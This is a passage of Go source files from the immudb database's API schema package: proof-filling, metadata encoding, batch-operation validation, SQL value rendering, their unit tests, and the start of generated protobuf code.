ErrDuplicatedZAddNotSupported = status.New(codes.InvalidArgument, "duplicated index inside zAdd insertions are not supported in single batch transaction").Err() ErrDuplicatedReferencesNotSupported = status.New(codes.InvalidArgument, "duplicated references insertions are not supported in single batch transaction").Err() ) ================================================ FILE: pkg/api/schema/linear_inclusion_enhancer.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package schema import ( "context" "crypto/sha256" "github.com/codenotary/immudb/embedded/store" ) func minUint64(a, b uint64) uint64 { if a < b { return a } return b } func FillMissingLinearAdvanceProof( ctx context.Context, proof *store.DualProof, sourceTxID uint64, targetTxID uint64, imc ImmuServiceClient, ) error { if proof.LinearAdvanceProof != nil { // The proof is already present, no need to fill it in return nil } // Early preconditions that indicate a broken proof anyway if proof == nil || proof.SourceTxHeader == nil || proof.TargetTxHeader == nil || proof.SourceTxHeader.ID != sourceTxID || proof.TargetTxHeader.ID != targetTxID { return nil } // Find the range startTxID / endTxID to fill with linear inclusion proof startTxID := proof.SourceTxHeader.BlTxID endTxID := minUint64(sourceTxID, proof.TargetTxHeader.BlTxID) if endTxID <= startTxID+1 { // Linear Advance Proof is not needed return nil } lAdvProof := &store.LinearAdvanceProof{ InclusionProofs: make([][][sha256.Size]byte, endTxID-startTxID-1), } // Fill in inclusion proofs for subsequent transactions for txID := startTxID + 1; txID < endTxID; txID++ { partialProof, err := imc.VerifiableTxById(ctx, &VerifiableTxRequest{ Tx: targetTxID, ProveSinceTx: txID, // Add entries spec to exclude any entries EntriesSpec: &EntriesSpec{KvEntriesSpec: &EntryTypeSpec{Action: EntryTypeAction_EXCLUDE}}, }) if err != nil { return err } lAdvProof.InclusionProofs[txID-startTxID-1] = DigestsFromProto(partialProof.DualProof.InclusionProof) } // Get the linear proof for the whole chain partialProof, err := imc.VerifiableTxById(ctx, &VerifiableTxRequest{ Tx: endTxID, ProveSinceTx: startTxID + 1, // Add entries spec to exclude any entries EntriesSpec: &EntriesSpec{KvEntriesSpec: &EntryTypeSpec{Action: EntryTypeAction_EXCLUDE}}, }) if err != nil { // Note: We don't check whether the proof returned from the server is correct here. // If there's any inconsistency, the proof validation will fail detecting incorrect // response from the server. return err } lAdvProof.LinearProofTerms = DigestsFromProto(partialProof.DualProof.LinearProof.Terms) proof.LinearAdvanceProof = lAdvProof return nil } ================================================ FILE: pkg/api/schema/metadata.go ================================================ package schema import ( "context" "errors" ) const maxMetadataLen = 256 var ( ErrEmptyMetadataKey = errors.New("metadata key cannot be empty") ErrEmptyMetadataValue = errors.New("metadata value cannot be empty") ErrMetadataTooLarge = errors.New("metadata exceeds maximum size") ErrCorruptedMetadata = errors.New("corrupted metadata") ) const ( UserRequestMetadataKey = "usr" IpRequestMetadataKey = "ip" ) type Metadata map[string]string func (m Metadata) Marshal() ([]byte, error) { if err := m.validate(); err != nil { return nil, err } var data [maxMetadataLen]byte off := 0 for k, v := range m { data[off] = byte(len(k) - 1) data[off+1] = byte(len(v) - 1) off += 2 copy(data[off:], []byte(k)) off += len(k) copy(data[off:], []byte(v)) off += len(v) } return data[:off], nil } func (m Metadata) validate() error { size := 0 for k, v := range m { if len(k) == 0 { return ErrEmptyMetadataKey } if len(v) == 0 { return ErrEmptyMetadataValue } size += len(k) + len(v) + 2 if size > maxMetadataLen { return ErrMetadataTooLarge } } return nil } func (m Metadata) Unmarshal(data []byte) error { off := 0 for off <= len(data)-2 { keySize := int(data[off]) + 1 valueSize := int(data[off+1]) + 1 off += 2 if off+keySize+valueSize > len(data) { return ErrCorruptedMetadata } m[string(data[off:off+keySize])] = string(data[off+keySize : off+keySize+valueSize]) off += keySize + valueSize } if off != len(data) { return ErrCorruptedMetadata } return nil } type metadataKey struct{} func ContextWithMetadata(ctx context.Context, md Metadata) context.Context { return context.WithValue(ctx, metadataKey{}, md) } func MetadataFromContext(ctx context.Context) Metadata { md, ok := ctx.Value(metadataKey{}).(Metadata) if !ok { return nil } return md } ================================================ FILE: pkg/api/schema/metadata_test.go ================================================ package schema import ( "testing" "github.com/stretchr/testify/require" ) func TestMetadataMarshalUnmarshal(t *testing.T) { meta := Metadata{ "user": "default", "ip": "127.0.0.1:8080", } data, err := meta.Marshal() require.NoError(t, err) t.Run("valid metadata", func(t *testing.T) { unmarshalled := Metadata{} err := unmarshalled.Unmarshal(data) require.NoError(t, err) require.Equal(t, meta, unmarshalled) }) t.Run("corrupted metadata", func(t *testing.T) { unmarshalled := Metadata{} err := unmarshalled.Unmarshal(data[:len(data)/2]) require.ErrorIs(t, err, ErrCorruptedMetadata) }) t.Run("empty metadata", func(t *testing.T) { m := Metadata{} data, err := m.Marshal() require.NoError(t, err) require.Empty(t, data) unmarshalled := Metadata{} err = unmarshalled.Unmarshal([]byte{}) require.NoError(t, err) require.Empty(t, unmarshalled) }) t.Run("invalid metadata", func(t *testing.T) { x := make([]byte, 256) m := Metadata{"x": string(x)} _, err := m.Marshal() require.ErrorIs(t, err, ErrMetadataTooLarge) m = Metadata{"": "v"} _, err = m.Marshal() require.ErrorIs(t, err, ErrEmptyMetadataKey) m = Metadata{"k": ""} _, err = m.Marshal() require.ErrorIs(t, err, ErrEmptyMetadataValue) }) } ================================================ FILE: pkg/api/schema/ops.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package schema import ( "bytes" "crypto/sha256" "fmt" "strconv" "google.golang.org/grpc/codes" "google.golang.org/grpc/status" ) func (m *ExecAllRequest) Validate() error { if len(m.GetOperations()) == 0 { return ErrEmptySet } mops := make(map[[sha256.Size]byte]struct{}, len(m.GetOperations())) for _, op := range m.Operations { if op == nil { return status.New(codes.InvalidArgument, "Op is not set").Err() } switch x := op.Operation.(type) { case *Op_Kv: mk := sha256.Sum256(x.Kv.Key) if _, ok := mops[mk]; ok { return fmt.Errorf("%w: key/reference '%s'", ErrDuplicatedKeysNotSupported, x.Kv.Key) } mops[mk] = struct{}{} case *Op_ZAdd: mk := sha256.Sum256(bytes.Join([][]byte{x.ZAdd.Set, x.ZAdd.Key, []byte(strconv.FormatUint(x.ZAdd.AtTx, 10))}, nil)) if _, ok := mops[mk]; ok { return ErrDuplicatedZAddNotSupported } mops[mk] = struct{}{} case *Op_Ref: mk := sha256.Sum256(x.Ref.Key) if _, ok := mops[mk]; ok { return fmt.Errorf("%w: key/reference '%s'", ErrDuplicatedKeysNotSupported, x.Ref.Key) } mops[mk] = struct{}{} mk = sha256.Sum256(bytes.Join([][]byte{x.Ref.Key, x.Ref.ReferencedKey, []byte(strconv.FormatUint(x.Ref.AtTx, 10))}, nil)) if _, ok := mops[mk]; ok { return ErrDuplicatedReferencesNotSupported } mops[mk] = struct{}{} case nil: return status.New(codes.InvalidArgument, "operation is not set").Err() default: return status.Newf(codes.InvalidArgument, "unexpected type %T", x).Err() } } return nil } ================================================ FILE: pkg/api/schema/ops_test.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package schema import ( "fmt" "testing" "github.com/stretchr/testify/require" "google.golang.org/grpc/codes" "google.golang.org/grpc/status" ) func TestOps_ValidateErrDuplicatedKeysNotSupported(t *testing.T) { aOps := &ExecAllRequest{ Operations: []*Op{ { Operation: &Op_Kv{ Kv: &KeyValue{ Key: []byte(`key`), Value: []byte(`val`), }, }, }, { Operation: &Op_Kv{ Kv: &KeyValue{ Key: []byte(`key`), Value: []byte(`val`), }, }, }, { Operation: &Op_ZAdd{ ZAdd: &ZAddRequest{ Key: []byte(`key`), Score: 5.6, }, }, }, }, } err := aOps.Validate() require.ErrorIs(t, err, ErrDuplicatedKeysNotSupported) } func TestOps_ValidateErrDuplicateZAddNotSupported(t *testing.T) { aOps := &ExecAllRequest{ Operations: []*Op{ { Operation: &Op_Kv{ Kv: &KeyValue{ Key: []byte(`key`), Value: []byte(`val`), }, }, }, { Operation: &Op_ZAdd{ ZAdd: &ZAddRequest{ Key: []byte(`key`), Score: 5.6, AtTx: 1, }, }, }, { Operation: &Op_ZAdd{ ZAdd: &ZAddRequest{ Key: []byte(`key`), Score: 5.6, AtTx: 1, }, }, }, }, } err := aOps.Validate() require.ErrorIs(t, err, ErrDuplicatedZAddNotSupported) } func TestOps_ValidateErrEmptySet(t *testing.T) { aOps := &ExecAllRequest{ Operations: []*Op{}, } err := aOps.Validate() require.ErrorIs(t, err, ErrEmptySet) } func TestOps_ValidateErrDuplicate(t *testing.T) { aOps := &ExecAllRequest{ Operations: []*Op{ { Operation: &Op_Kv{ Kv: &KeyValue{ Key: []byte(`key`), Value: []byte(`val`), }, }, }, { Operation: &Op_ZAdd{ ZAdd: &ZAddRequest{ Key: []byte(`key`), Score: 5.6, AtTx: 1, }, }, }, }, } err := aOps.Validate() require.NoError(t, err) } func TestOps_ValidateUnexpectedType(t *testing.T) { aOps := &ExecAllRequest{ Operations: []*Op{ { Operation: &Op_Unexpected{}, }, }, } err := aOps.Validate() require.ErrorContains(t, err, fmt.Sprintf("unexpected type %T", &Op_Unexpected{})) } func TestExecAllOpsNilElementFound(t *testing.T) { bOps := make([]*Op, 2) op := &Op{ Operation: &Op_ZAdd{ ZAdd: &ZAddRequest{ Key: []byte(`key`), Score: 5.6, AtTx: 4, }, }, } bOps[1] = op aOps := &ExecAllRequest{Operations: bOps} err := aOps.Validate() require.ErrorIs(t, err, status.Error(codes.InvalidArgument, "Op is not set")) } func TestOps_ValidateOperationNilElementFound(t *testing.T) { aOps := &ExecAllRequest{ Operations: []*Op{ { Operation: nil, }, }, } err := aOps.Validate() require.ErrorIs(t, err, status.Error(codes.InvalidArgument, "operation is not set")) } ================================================ FILE: pkg/api/schema/pattern_test.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package schema import ( "testing" "github.com/stretchr/testify/require" ) func TestPattern_Pattern_ImmuService_VerifiableGet_0(t *testing.T) { p := Pattern_ImmuService_VerifiableGet_0() require.NotNil(t, p) } func TestPattern_ImmuService_VerifiableSet_0(t *testing.T) { p := Pattern_ImmuService_VerifiableSet_0() require.NotNil(t, p) } func TestPattern_ImmuService_Set_0(t *testing.T) { p := Pattern_ImmuService_Set_0() require.NotNil(t, p) } func TestPattern_ImmuService_History_0(t *testing.T) { p := Pattern_ImmuService_History_0() require.NotNil(t, p) } func TestPattern_ImmuService_VerifiableSetReference_0(t *testing.T) { p := Pattern_ImmuService_VerifiableSetReference_0() require.NotNil(t, p) } func TestPattern_ImmuService_VerifiableZAdd_0(t *testing.T) { p := Pattern_ImmuService_VerifiableZAdd_0() require.NotNil(t, p) } func TestPattern_ImmuService_UseDatabase_0(t *testing.T) { p := Pattern_ImmuService_UseDatabase_0() require.NotNil(t, p) } func TestPattern_ImmuService_VerifiableTxById_0(t *testing.T) { p := Pattern_ImmuService_VerifiableTxById_0() require.NotNil(t, p) } ================================================ FILE: pkg/api/schema/patterns.go ================================================ /* Copyright 2019-2020 vChain, Inc. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package schema import ( "github.com/grpc-ecosystem/grpc-gateway/runtime" ) // Pattern_ImmuService_VerifiableGet_0 exposes the runtime Pattern need to overwrite VerifiableGet autogenerated request func Pattern_ImmuService_VerifiableGet_0() runtime.Pattern { return pattern_ImmuService_VerifiableGet_0 } // Pattern_ImmuService_VerifiableSet_0 exposes the runtime Pattern need to overwrite VerifiableSet autogenerated request func Pattern_ImmuService_VerifiableSet_0() runtime.Pattern { return pattern_ImmuService_VerifiableSet_0 } // Pattern_ImmuService_Set_0 exposes the runtime Pattern need to overwrite set autogenerated request func Pattern_ImmuService_Set_0() runtime.Pattern { return pattern_ImmuService_Set_0 } // Pattern_ImmuService_History_0 exposes the runtime Pattern need to overwrite history autogenerated request func Pattern_ImmuService_History_0() runtime.Pattern { return pattern_ImmuService_History_0 } // Pattern_ImmuService_VerifiableSetReference_0 exposes the runtime Pattern need to overwrite VerifiableSetReference autogenerated request func Pattern_ImmuService_VerifiableSetReference_0() runtime.Pattern { return pattern_ImmuService_VerifiableSetReference_0 } // Pattern_ImmuService_VerifiableZAdd_0 exposes the runtime Pattern need to overwrite VerifiableZAdd autogenerated request func Pattern_ImmuService_VerifiableZAdd_0() runtime.Pattern { return pattern_ImmuService_VerifiableZAdd_0 } // Pattern_ImmuService_UseDatabase_0 exposes the runtime Pattern need to overwrite UseDatabase autogenerated request func Pattern_ImmuService_UseDatabase_0() runtime.Pattern { return pattern_ImmuService_UseDatabase_0 } // Pattern_ImmuService_VerifiableTxById_0 exposes the runtime Pattern need to overwrite VerifiableTxById autogenerated request func Pattern_ImmuService_VerifiableTxById_0() runtime.Pattern { return pattern_ImmuService_VerifiableTxById_0 } ================================================ FILE: pkg/api/schema/preconditions.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package schema func PreconditionKeyMustExist(key []byte) *Precondition { return &Precondition{ Precondition: &Precondition_KeyMustExist{ KeyMustExist: &Precondition_KeyMustExistPrecondition{ Key: key, }, }, } } func PreconditionKeyMustNotExist(key []byte) *Precondition { return &Precondition{ Precondition: &Precondition_KeyMustNotExist{ KeyMustNotExist: &Precondition_KeyMustNotExistPrecondition{ Key: key, }, }, } } func PreconditionKeyNotModifiedAfterTX(key []byte, txID uint64) *Precondition { return &Precondition{ Precondition: &Precondition_KeyNotModifiedAfterTX{ KeyNotModifiedAfterTX: &Precondition_KeyNotModifiedAfterTXPrecondition{ Key: key, TxID: txID, }, }, } } ================================================ FILE: pkg/api/schema/row_value.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package schema import ( "bytes" "encoding/hex" "fmt" "strconv" "github.com/codenotary/immudb/embedded/sql" ) type SqlValue interface { isSQLValue_Value Equal(sqlv SqlValue) (bool, error) } func (v *SQLValue_Null) Equal(sqlv SqlValue) (bool, error) { _, isNull := sqlv.(*SQLValue_Null) if !isNull { return false, nil } return true, nil } func (v *SQLValue_N) Equal(sqlv SqlValue) (bool, error) { _, isNull := sqlv.(*SQLValue_Null) if isNull { return false, nil } n, isNumber := sqlv.(*SQLValue_N) if !isNumber { return false, sql.ErrNotComparableValues } return v.N == n.N, nil } func (v *SQLValue_S) Equal(sqlv SqlValue) (bool, error) { _, isNull := sqlv.(*SQLValue_Null) if isNull { return false, nil } s, isString := sqlv.(*SQLValue_S) if !isString { return false, sql.ErrNotComparableValues } return v.S == s.S, nil } func (v *SQLValue_B) Equal(sqlv SqlValue) (bool, error) { _, isNull := sqlv.(*SQLValue_Null) if isNull { return false, nil } b, isBool := sqlv.(*SQLValue_B) if !isBool { return false, sql.ErrNotComparableValues } return v.B == b.B, nil } func (v *SQLValue_Bs) Equal(sqlv SqlValue) (bool, error) { _, isNull := sqlv.(*SQLValue_Null) if isNull { return false, nil } b, isBytes := sqlv.(*SQLValue_Bs) if !isBytes { return false, sql.ErrNotComparableValues } return bytes.Equal(v.Bs, b.Bs), nil } func (v *SQLValue_Ts) Equal(sqlv SqlValue) (bool, error) { _, isNull := sqlv.(*SQLValue_Null) if isNull { return false, nil } ts, isTimestamp := sqlv.(*SQLValue_Ts) if !isTimestamp { return false, sql.ErrNotComparableValues } return v.Ts == ts.Ts, nil } func (v *SQLValue_F) Equal(sqlv SqlValue) (bool, error) { _, isNull := sqlv.(*SQLValue_Null) if isNull { return false, nil } f, isFloat := sqlv.(*SQLValue_F) if !isFloat { return false, sql.ErrNotComparableValues } return v.F == f.F, nil } func RenderValue(op isSQLValue_Value) string { switch v := op.(type) { case *SQLValue_Null: { return "NULL" } case *SQLValue_N: { return strconv.FormatInt(int64(v.N), 10) } case *SQLValue_S: { return fmt.Sprintf("\"%s\"", v.S) } case *SQLValue_B: { return strconv.FormatBool(v.B) } case *SQLValue_Bs: { return hex.EncodeToString(v.Bs) } case *SQLValue_Ts: { t := sql.TimeFromInt64(v.Ts) return t.Format("2006-01-02 15:04:05.999999") } case *SQLValue_F: { return strconv.FormatFloat(float64(v.F), 'f', -1, 64) } } return fmt.Sprintf("%v", op) } func RenderValueAsByte(op isSQLValue_Value) []byte { switch v := op.(type) { case *SQLValue_Null: { return nil } case *SQLValue_N: { return []byte(strconv.FormatInt(int64(v.N), 10)) } case *SQLValue_S: { return []byte(v.S) } case *SQLValue_B: { return []byte(strconv.FormatBool(v.B)) } case *SQLValue_Bs: { return []byte(hex.EncodeToString(v.Bs)) } case *SQLValue_Ts: { t := sql.TimeFromInt64(v.Ts) return []byte(t.Format("2006-01-02 15:04:05.999999")) } case *SQLValue_F: { return []byte(strconv.FormatFloat(float64(v.F), 'f', -1, 64)) } } return []byte(fmt.Sprintf("%v", op)) } func RawValue(v *SQLValue) interface{} { if v == nil { return nil } switch tv := v.Value.(type) { case *SQLValue_Null: { return nil } case *SQLValue_N: { return tv.N } case *SQLValue_S: { return tv.S } case *SQLValue_B: { return tv.B } case *SQLValue_Bs: { return tv.Bs } case *SQLValue_Ts: { return sql.TimeFromInt64(tv.Ts) } case *SQLValue_F: { return tv.F } } return nil } ================================================ FILE: pkg/api/schema/row_value_test.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package schema import ( "encoding/hex" "math" "testing" "time" "github.com/codenotary/immudb/embedded/sql" "github.com/stretchr/testify/require" ) func TestRowComparison(t *testing.T) { nullValue := &SQLValue_Null{} trueValue := &SQLValue_B{B: true} falseValue := &SQLValue_B{B: false} stringValue1 := &SQLValue_S{S: "string1"} stringValue2 := &SQLValue_S{S: "string2"} intValue1 := &SQLValue_N{N: 1} intValue2 := &SQLValue_N{N: 2} blobValue1 := &SQLValue_Bs{Bs: nil} blobValue2 := &SQLValue_Bs{Bs: []byte{1, 2, 3}} tsValue1 := &SQLValue_Ts{Ts: time.Date(2021, 12, 8, 13, 46, 23, 12345000, time.UTC).UnixNano() / 1e3} tsValue2 := &SQLValue_Ts{Ts: time.Date(2020, 11, 7, 12, 45, 22, 12344000, time.UTC).UnixNano() / 1e3} float64Value1 := &SQLValue_F{F: 1.1} float64Value2 := &SQLValue_F{F: .1} float64Value3 := &SQLValue_F{F: 0.0} float64Value4 := &SQLValue_F{F: math.MaxFloat64} float64Value5 := &SQLValue_F{F: -math.MaxFloat64} float64Value6 := &SQLValue_F{F: -0.0} equals, err := nullValue.Equal(nullValue) require.NoError(t, err) require.True(t, equals) equals, err = nullValue.Equal(trueValue) require.NoError(t, err) require.False(t, equals) equals, err = trueValue.Equal(nullValue) require.NoError(t, err) require.False(t, equals) _, err = trueValue.Equal(stringValue1) require.ErrorIs(t, err, sql.ErrNotComparableValues) equals, err = trueValue.Equal(falseValue) require.NoError(t, err) require.False(t, equals) equals, err = stringValue1.Equal(nullValue) require.NoError(t, err) require.False(t, equals) _, err = stringValue1.Equal(trueValue) require.ErrorIs(t, err, sql.ErrNotComparableValues) equals, err = stringValue1.Equal(stringValue2) require.NoError(t, err) require.False(t, equals) equals, err = intValue1.Equal(nullValue) require.NoError(t, err) require.False(t, equals) _, err = intValue1.Equal(trueValue) require.ErrorIs(t, err ,sql.ErrNotComparableValues) equals, err = intValue1.Equal(intValue2) require.NoError(t, err) require.False(t, equals) equals, err = blobValue1.Equal(nullValue) require.NoError(t, err) require.False(t, equals) _, err = blobValue1.Equal(trueValue) require.ErrorIs(t, err, sql.ErrNotComparableValues) equals, err = blobValue1.Equal(blobValue2) require.NoError(t, err) require.False(t, equals) equals, err = tsValue1.Equal(tsValue1) require.NoError(t, err) require.True(t, equals) equals, err = tsValue1.Equal(nullValue) require.NoError(t, err) require.False(t, equals) equals, err = tsValue1.Equal(tsValue2) require.NoError(t, err) require.False(t, equals) _, err = tsValue1.Equal(stringValue1) require.ErrorIs(t, err, sql.ErrNotComparableValues) rawNilValue := RawValue(nil) require.Equal(t, nil, rawNilValue) rawNullValue := RawValue(&SQLValue{Value: nullValue}) require.Equal(t, nil, rawNullValue) rawTrueValue := RawValue(&SQLValue{Value: trueValue}) require.Equal(t, true, rawTrueValue) rawFalseValue := RawValue(&SQLValue{Value: falseValue}) require.Equal(t, false, rawFalseValue) rawStringValue := RawValue(&SQLValue{Value: stringValue1}) require.Equal(t, "string1", rawStringValue) rawIntValue := RawValue(&SQLValue{Value: intValue1}) require.Equal(t, int64(1), rawIntValue) rawBlobValue := RawValue(&SQLValue{Value: blobValue2}) require.Equal(t, []byte{1, 2, 3}, rawBlobValue) rawTimestampValue := RawValue(&SQLValue{Value: tsValue1}) require.Equal(t, time.Date(2021, 12, 8, 13, 46, 23, 12345000, time.UTC), rawTimestampValue) nv := SQLValue{Value: nullValue} bytesNullValue := RenderValueAsByte(nv.GetValue()) require.Equal(t, []byte(nil), bytesNullValue) tv := SQLValue{Value: trueValue} bytesTrueValue := RenderValueAsByte(tv.GetValue()) require.Equal(t, []byte(`true`), bytesTrueValue) bf := SQLValue{Value: falseValue} bytesFalseValue := RenderValueAsByte(bf.GetValue()) require.Equal(t, []byte(`false`), bytesFalseValue) sv := &SQLValue{Value: stringValue1} bytesStringValue := RenderValueAsByte(sv.GetValue()) require.Equal(t, []byte("string1"), bytesStringValue) iv := &SQLValue{Value: intValue1} bytesIntValue := RenderValueAsByte(iv.GetValue()) require.Equal(t, []byte(`1`), bytesIntValue) bv := &SQLValue{Value: blobValue2} bytesBlobValue := RenderValueAsByte(bv.GetValue()) require.Equal(t, []byte(hex.EncodeToString([]byte{1, 2, 3})), bytesBlobValue) tsv := &SQLValue{Value: tsValue2} bytesTimestampValue := RenderValueAsByte(tsv.GetValue()) require.Equal(t, []byte("2020-11-07 12:45:22.012344"), bytesTimestampValue) nv = SQLValue{Value: nullValue} rNullValue := RenderValue(nv.GetValue()) require.Equal(t, "NULL", rNullValue) tv = SQLValue{Value: trueValue} rTrueValue := RenderValue(tv.GetValue()) require.Equal(t, "true", rTrueValue) bf = SQLValue{Value: falseValue} rFalseValue := RenderValue(bf.GetValue()) require.Equal(t, "false", rFalseValue) sv = &SQLValue{Value: stringValue1} rStringValue := RenderValue(sv.GetValue()) require.Equal(t, "\"string1\"", rStringValue) iv = &SQLValue{Value: intValue1} rIntValue := RenderValue(iv.GetValue()) require.Equal(t, "1", rIntValue) bv = &SQLValue{Value: blobValue2} rBlobValue := RenderValue(bv.GetValue()) require.Equal(t, "010203", rBlobValue) tsv = &SQLValue{Value: tsValue1} rTimestampValue := RenderValue(tsv.GetValue()) require.Equal(t, "2021-12-08 13:46:23.012345", rTimestampValue) ftv := &SQLValue{Value: float64Value1} floatValue := RenderValue(ftv.GetValue()) require.Equal(t, "1.1", floatValue) floatValueB := RenderValueAsByte(ftv.GetValue()) require.Equal(t, []byte("1.1"), floatValueB) floatValueR := RawValue(ftv) require.Equal(t, 1.1, floatValueR) ftv = &SQLValue{Value: float64Value2} floatValue = RenderValue(ftv.GetValue()) require.Equal(t, "0.1", floatValue) ftv = &SQLValue{Value: float64Value3} floatValue = RenderValue(ftv.GetValue()) require.Equal(t, "0", floatValue) ftv = &SQLValue{Value: float64Value4} floatValue = RenderValue(ftv.GetValue()) require.Equal(t, "179769313486231570000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000", floatValue) ftv = &SQLValue{Value: float64Value5} floatValue = RenderValue(ftv.GetValue()) require.Equal(t, "-179769313486231570000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000", floatValue) ftv = &SQLValue{Value: float64Value6} floatValue = RenderValue(ftv.GetValue()) require.Equal(t, "0", floatValue) fakeSV := &SQLValue{Value: &FakeSqlValue{}} fakeValue := RenderValue(fakeSV.GetValue()) require.Equal(t, "&{}", fakeValue) fake := RawValue(fakeSV) require.Equal(t, nil, fake) fakeB := RenderValueAsByte(fakeSV.GetValue()) require.Equal(t, []byte(`&{}`), fakeB) } type FakeSqlValue struct{} func (*FakeSqlValue) isSQLValue_Value() {} ================================================ FILE: pkg/api/schema/schema.pb.go ================================================ // //Copyright 2022 Codenotary Inc. All rights reserved. // //Licensed under the Apache License, Version 2.0 (the "License"); //you may not use this file except in compliance with the License. //You may obtain a copy of the License at // //http://www.apache.org/licenses/LICENSE-2.0 // //Unless required by applicable law or agreed to in writing, software //distributed under the License is distributed on an "AS IS" BASIS, //WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. //See the License for the specific language governing permissions and //limitations under the License. // Code generated by protoc-gen-go. DO NOT EDIT. // versions: // protoc-gen-go v1.32.0 // protoc v3.21.12 // source: schema.proto package schema import ( _ "github.com/grpc-ecosystem/grpc-gateway/protoc-gen-swagger/options" _ "google.golang.org/genproto/googleapis/api/annotations" protoreflect "google.golang.org/protobuf/reflect/protoreflect" protoimpl "google.golang.org/protobuf/runtime/protoimpl" emptypb "google.golang.org/protobuf/types/known/emptypb" structpb "google.golang.org/protobuf/types/known/structpb" reflect "reflect" sync "sync" ) const ( // Verify that this generated code is sufficiently up-to-date. _ = protoimpl.EnforceVersion(20 - protoimpl.MinVersion) // Verify that runtime/protoimpl is sufficiently up-to-date. _ = protoimpl.EnforceVersion(protoimpl.MaxVersion - 20) ) type EntryTypeAction int32 const ( // Exclude entries from the result EntryTypeAction_EXCLUDE EntryTypeAction = 0 // Provide keys in raw (unparsed) form and only the digest of the value EntryTypeAction_ONLY_DIGEST EntryTypeAction = 1 // Provide keys and values in raw form EntryTypeAction_RAW_VALUE EntryTypeAction = 2 // Provide parsed keys and values and resolve values if needed EntryTypeAction_RESOLVE EntryTypeAction = 3 ) // Enum value maps for EntryTypeAction. var ( EntryTypeAction_name = map[int32]string{ 0: "EXCLUDE", 1: "ONLY_DIGEST", 2: "RAW_VALUE", 3: "RESOLVE", } EntryTypeAction_value = map[string]int32{ "EXCLUDE": 0, "ONLY_DIGEST": 1, "RAW_VALUE": 2, "RESOLVE": 3, } ) func (x EntryTypeAction) Enum() *EntryTypeAction { p := new(EntryTypeAction) *p = x return p } func (x EntryTypeAction) String() string { return protoimpl.X.EnumStringOf(x.Descriptor(), protoreflect.EnumNumber(x)) } func (EntryTypeAction) Descriptor() protoreflect.EnumDescriptor { return file_schema_proto_enumTypes[0].Descriptor() } func (EntryTypeAction) Type() protoreflect.EnumType { return &file_schema_proto_enumTypes[0] } func (x EntryTypeAction) Number() protoreflect.EnumNumber { return protoreflect.EnumNumber(x) } // Deprecated: Use EntryTypeAction.Descriptor instead. func (EntryTypeAction) EnumDescriptor() ([]byte, []int) { return file_schema_proto_rawDescGZIP(), []int{0} } type PermissionAction int32 const ( // Grant permission PermissionAction_GRANT PermissionAction = 0 // Revoke permission PermissionAction_REVOKE PermissionAction = 1 ) // Enum value maps for PermissionAction. var ( PermissionAction_name = map[int32]string{ 0: "GRANT", 1: "REVOKE", } PermissionAction_value = map[string]int32{ "GRANT": 0, "REVOKE": 1, } ) func (x PermissionAction) Enum() *PermissionAction { p := new(PermissionAction) *p = x return p } func (x PermissionAction) String() string { return protoimpl.X.EnumStringOf(x.Descriptor(), protoreflect.EnumNumber(x)) } func (PermissionAction) Descriptor() protoreflect.EnumDescriptor { return file_schema_proto_enumTypes[1].Descriptor() } func (PermissionAction) Type() protoreflect.EnumType { return &file_schema_proto_enumTypes[1] } func (x PermissionAction) Number() 